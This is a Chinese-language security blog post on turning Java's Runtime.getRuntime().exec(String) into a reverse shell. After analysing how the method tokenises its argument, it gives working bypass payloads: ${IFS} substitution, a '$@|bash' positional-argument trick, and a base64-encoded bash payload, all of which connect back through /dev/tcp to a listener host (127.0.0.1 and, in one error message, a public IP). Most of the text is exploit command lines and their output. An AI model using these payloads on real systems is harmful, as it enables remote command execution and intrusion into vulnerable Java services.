java Runtime.getRuntime().exec 获取反弹shell

淡淡的烟草味﹌ 2021-08-30 17:06 789阅读 0赞

### 说明 ###

前面写了一篇在Java环境下获取shell的文章。当时使用的语句是：

Runtime r = Runtime.getRuntime();
    Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
    p.waitFor();

其中在`exec()`中我们是传入了多个参数，可是如果实际的环境是`Runtime.getRuntime().exec(String cmd)`只能允许我们传入一个参数，又该如何getshell呢？

### exec分析 ###

我们分析一下`Runtime`中的`exec()`函数：  
在`java.lang.Runtime()`中存在多个重载的`exec()`方法，如下所示:

public Process exec(String command)
    public Process exec(String command, String[] envp)
    public Process exec(String command, String[] envp, File dir)
    public Process exec(String cmdarray[])
    public Process exec(String[] cmdarray, String[] envp)
    public Process exec(String[] cmdarray, String[] envp, File dir)

除了常见的`exec(String command)`和`exec(String cmdarray[])`，其他`exec()`都增加了`envp`和`File`这些限制。虽然如此，但是最终都是调用相同的方法，本质没有却区别。这些函数存在的意义可以简要地参考[调用java.lang.Runtime.exec的正确姿势][java.lang.Runtime.exec]  
分析`exec(String cmdarray[])`和`exec(String command)`:

// exec(String command) 函数
    public Process exec(String command) throws IOException {
        return exec(command, null, null);
    }
    ...
    public Process exec(String command, String[] envp, File dir)
        throws IOException {
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");
    
        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
    }
    ...
    // exec(String cmdarray[])
    public Process exec(String cmdarray[]) throws IOException {
        return exec(cmdarray, null, null);
    }

可以看到`exec(String cmdarray[])`和`exec(String command)`最终都是调用的`exec(cmdarray, null, null)`。`exec(String command)`通过`StringTokenizer st = new StringTokenizer(command);`将其分割为Token之后作为字符串数组，调用`exec(cmdarray, null, null)`。

分析`StringTokenizer(String str)`:

public StringTokenizer(String str) {
        this(str, " \t\n\r\f", false);
    }

将字一个字符串使用`\t\n\r\f`这些字符进行分割。尝试：

String testStr = "a b\tc\nd\re\fg";
    StringTokenizer st = new StringTokenizer(testStr);
    for (int i = 0; st.hasMoreTokens(); i++)
        System.out.println(st.nextToken());

输出结果：  
a  
b  
c  
d  
e  
g

### bypass exec ###

如果直接尝试执行

Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");

那么最终执行到`exec(cmdarray, envp, dir);`时，`cmdarray`的参数结果是：  
1 | 2 | 3 | 4 | 5  
–|—|—|—|–  
bash | -i | >& | /dev/tcp/ip/port | 0>&1

而我们执行`r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});`,执行到`exec(cmdarray, envp, dir);`时，`cmdarray`的参数结果是：  
1 | 2 | 3  
–|—|–  
/bin/bash | -c | bash -i >& /dev/tcp/ip/port 0>&1

其最终的结果就是`Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");`没有任何的反应，但是`r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/port 0>&1"});`可以成功地反弹shell。

那么现在的问题就转换成为能否找到一个替换字符，使其通过`StringTokenizer(String str)`不进行分割，但是又被`/bin/bash`能够正确地识别为空格的字符。

IFS

在Linux环境中,`${IFS}`是一个内置的变量，用于标示命令中参数的分隔符。通常他的取值是空格+TAB+换行（0x20 0x09 0x0a）。尝试:

$ echo "abc" | hexdump -C
    00000000  61 62 63 0a                                       |abc.|
    00000004
    $ echo "a${IFS}b${IFS}c"|hexdump -C
    00000000  61 20 09 0a 62 20 09 0a  63 0a                    |a ..b ..c.|
    0000000a

结果就显示出了`${IFS}`其实就是`0x20 0x09 0x0a`。尝试利用`${IFS}`,于是我们的代码变成了：

Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1");

发现执行完毕之后出现了`/bin/bash: ${IFS}/dev/tcp/118.24.152.245/8888${IFS}0: ambiguous redirect`错误。发现当执行到时`java.lang.Runtime:Process exec(String command, String[] envp, File dir)`,信息如下：  
[![format_png][]][format_png 1]

那么就说明利用`${IFS}`执行`/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1`确实能够绕过Java的分隔符。我们直接在bash中尝试：

spoock@ubuntu:~/Desktop$/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1
    bash: ${IFS}/dev/tcp/127.0.0.1/8888${IFS}0: ambiguous redirect

同样会出现`ambiguous redirect`的错误，如果尝试将`/dev/tcp/127.0.0.1/8888${IFS}0>&1`替换为`/dev/tcp/127.0.0.1/8888$ 0>&1`，即`/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1`就能够成功地进行反弹shell了。使用`zsh`进行尝试`/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1`,同样会出现`ambiguous redirect`那么就是说明可能上述的写法不符合`shell`的语法。

最终进行测试，在`/bin/bash -c bash>x${IFS}0`就会出现`ambiguous redirect`问题，猜测可能是`x${IFS}0`才会出现这样的问题，至于为什么会出现的这样的问题，希望有大牛能够帮忙解答一下。

所以如果使用`/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1`就一定不行了吗？我们目前已经知道`/bin/bash -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888 0>&1`是可以反弹shell的，那么问题的关键就是在这种`/bin/zsh -c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/8888${IFS}0>&1`情况下的`${IFS}`绕过。我们查看`bash`中有什么语法可供我们使用。

`bash manpage`

Duplicating File Descriptors
        The redirection operator
    
                [n]<&word
    
        is used to duplicate input file descriptors.  If word expands to one or more digits, the file descriptor denoted by n is made to be a copy of that file descriptor.  If the digits in  word  do
        not  specify a file descriptor open for input, a redirection error occurs.  If word evaluates to -, file descriptor n is closed.  If n is not specified, the standard input (file descriptor 0)
        is used.
    
        The operator
    
                [n]>&word
    
        is used similarly to duplicate output file descriptors.  If n is not specified, the standard output (file descriptor 1) is used.  If the digits in word do not specify a file  descriptor  open
        for  output,  a  redirection  error occurs.  If word evaluates to -, file descriptor n is closed.  As a special case, if n is omitted, and word does not expand to one or more digits or -, the
        standard output and standard error are redirected as described previously.

对于`[n]<&word`，发现有`If n is not specified, the standard input (file descriptor 0) is used`，貌似就可以解决我们的问题。那么我们可以改写为：

/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1

可以完美实现反弹shell，查看其fd信息如下：

spoock@ubuntu:~/Desktop$ ls -all  /proc/10434/fd
    total 0
    dr-x------ 2 spoock spoock  0 Nov 25 06:44 .
    dr-xr-xr-x 9 spoock spoock  0 Nov 25 06:44 ..
    lrwx------ 1 spoock spoock 64 Nov 25 06:44 0 -> socket:[77646]
    lrwx------ 1 spoock spoock 64 Nov 25 06:44 1 -> socket:[77646]
    lrwx------ 1 spoock spoock 64 Nov 25 06:44 2 -> socket:[77646]

文件描述符0,1,2都指向了socket。既然这种可以，我们尝试利用Java进行反弹shell，

Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1");

也能够执行反弹shell。

发现在`linux`中还存在`$@`和`$*`，他们的含义都是`list of all arguments passed to the script`。进行一个简单的实验：  
`ifsargs.sh`

#!/bin/bash
    # ifsargs.sh - Cmd args - positional parameter demo
    echo "Command-Line Arguments Demo"
    echo "*** All args displayed using \$@ positional parameter ***"
    echo $@
    echo "*** All args displayed using \$* positional parameter ***"
    echo $*

运行得到的结果是：

spoock@ubuntu:~/Desktop$ ./ifsargs.sh foo bar test
    Command-Line Arguments Demo
    *** All args displayed using $@ positional parameter ***
    foo bar test
    *** All args displayed using $* positional parameter ***
    foo bar test

那么我们就可以利用来反弹shell了。看`bash`语法：

bash [options] [command_string | file]
    -c   If the -c option is present, then commands are read from the first non-option argument command_string.If there are arguments after the command_string, they are assigned to the positional parameters, starting with $0.

结合`bash`和`$@`，我们可以变为：

/bin/sh -c '$@|sh' xxx  echo ls

可以成功地执行`ls`。分析下这个命令，当`bash`解析到`'$@|sh' xxx echo ls`，发现`$@`。`$@`需要取脚本的参数，那么就会解析`xxx echo ls`，由于`$@`只会取脚本参数，会将第一个参数认为是脚本名称(认为`xxx`是脚本名称)，就会取到`echo ls`。那么最终执行的就是`echo ls|sh`，就可以成功地执行`ls`命令了。

利用上面这个`trick`,那么我们就可以执行任意命令了,包括反弹shell。如`/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'`最终可以成功地反弹shell。我们利用Java进行测试：

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

最终在`JAVA`中的数组的结果如下：  
[![format_png 2][]][format_png 2 1]

最终相当于执行了`echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash`命令，成功反弹shell。同样地，`/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1`也是可以的。

base64 decode

[java.lang.Runtime.exec() Payload Workarounds][java.lang.Runtime.exec_ Payload Workarounds]对payload进行`base64`编码从而绕过`exec()`。`bash -i >&/dev/tcp/127.0.0.1/8888 0>&1`经过转换变为`bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}`。测试:

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

成功执行反弹shell。

[java.lang.Runtime.exec]: https://blog.csdn.net/timo1160139211/article/details/75006938
[format_png]: /images/20210728/f809a41293ab4058943b24a4bf288305.png
[format_png 1]: https://blog.spoock.com/2018/11/25/getshell-bypass-exec/1.jpg
[format_png 2]: /images/20210728/ff354b72dbea41edab858903cb3ccad3.png
[format_png 2 1]: https://blog.spoock.com/2018/11/25/getshell-bypass-exec/2.jpg
[java.lang.Runtime.exec_ Payload Workarounds]: http://jackson.thuraisamy.me/runtime-exec-payloads.html